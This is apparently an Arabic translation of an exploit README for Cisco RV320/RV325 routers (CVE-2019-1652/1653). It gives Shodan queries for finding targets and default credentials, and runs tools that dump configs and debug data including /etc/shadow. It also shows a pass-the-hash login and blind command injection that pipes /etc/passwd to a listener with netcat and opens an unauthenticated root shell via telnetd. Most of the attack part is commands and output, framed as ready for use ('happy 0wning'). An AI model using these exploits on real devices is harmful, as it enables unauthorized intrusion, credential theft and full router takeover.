
CVE-2019-1652 /CVE-2019-1653 استغلالات لتفريغ تكوينات وبيانات التصحيح لـ Cisco RV320 واستغلال الجذر عن بُعد!
استغلالات CVE-2019-1653/CVE-2019-1652 لتفريغ تكوينات Cisco RV320 والحصول على RCE
تطبيقات للاستغلالات CVE-2019-1652 و CVE-2019-1653 التي كشفت عنها Red Team Pentesting GmbH.
لقد اختبرت هذه فقط على RV320، ولكن وفقًا لـ تنبيه Cisco، فإن RV325 أيضًا عرضة للخطر.
تبدو استعلامات Shodan التالية تجدها، إذا كنت فضوليًا بشأن عددها. يبدو أن هناك عددًا لا بأس به...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
تسمح الثغرات بما يلي:
كملاحظة جانبية، بيانات الاعتماد الافتراضية هي cisco:cisco.
بالنسبة لـ استغلال تفريغ التكوين، فقط قم بتعيين الهدف، المنفذ، تشغيل/إيقاف ssl، ودليل الإخراج. سيقوم بتفريغ التكوين إلى هناك.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
بالنسبة لـ استغلال تفريغ بيانات التصحيح، فهو نفس الإجراء، ولكن البيانات المفرغة أكبر ومشفرة.
ستحتاج إلى فك تشفيرها باستخدام script "decrypt.sh" المقدم، أو يدويًا باستخدام openssl. سيعطيك هذا ملف tar.
لا يمنحك إخراج التصحيح التكوين فحسب، بل أيضًا نسخًا احتياطية من /etc و /var، ونعم، ملف /etc/shadow/ موجود.
سأعيد كتابة script فك التشفير بلغة Python في النهاية، لكن هذا كان حلًا سريعًا.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
باستخدام بيانات الاعتماد التي تحصل عليها من هذه (مجزئة) يمكنك بعد ذلك استغلال CVE-2019-1652 لتنفيذ أوامر على الجهاز.
بعض الملاحظات حول "التجزئة" لكلمة المرور، قبل أن نمضي قدمًا. في هذه، في ملف التكوين، ستجد متغيرًا باسم PASSWD متبوعًا بتجزئة md5. هذه التجزئة md5 هي md5($password.$auth_key)، حيث auth_key هي قيمة ثابتة يمكنك العثور عليها عن طريق القيام بـ GET / وتحليلها. هناك واحدة تبدو شائعة قمت بتضمينها بشكل ثابت في استغلال RCE كحل احتياطي في حال فشل تعبير regex التافه لمحلل الصفحة.
يحدد CVE-2019-1652 ثغرة حقن أوامر shell بسيطة، والتي تتطلب المصادقة. يقوم exec_cmd.py بتنفيذ ذلك، بافتراض أن لديك بيانات اعتماد تسجيل دخول صالحة. "cisco:cisco" هو الافتراضي، لكن يمكنك أيضًا كسر بعض التجزئات.
حقن الأوامر أعمى، لذلك لن تحصل على أي إخراج. البيئة هي إعداد Busybox محدود للغاية مع netcat مشلول، والأجهزة من نوع mips64، لذلك لم أتعب نفسي بكتابة استغلال شل عكسي هذه المرة. يمكنك، مع ذلك، الحصول على إخراج الأوامر عن طريق القيام بأشياء مثل cat /etc/passwd | nc HOST PORT وتشغيل مستمع، أو أيًا كان.
يمكنك أيضًا حقن أمر مثل telnetd -l /bin/sh -p 1337 والاتصال بخدمة telnet الناتجة، والتي ستوفر لك شل جذر لطيفة بدون مصادقة.
مثال لتشغيل الاستغلال أدناه:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
لذا، نظرًا لـ Cisco، يمكنك في الواقع تمرير التجزئة التي تستخرجها والحصول على جلسة مسجلة الدخول. لذلك كتبنا استغلالًا يستخرج التجزئة ويمررها.
يسمى هذا easy_access.py. لأن مسار ثنائيات CGI يحتوي على مجلد باسم "EasyAccess".
مثال لتشغيل EasyAccess أدناه...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
سعيد 0wning يا أطفال.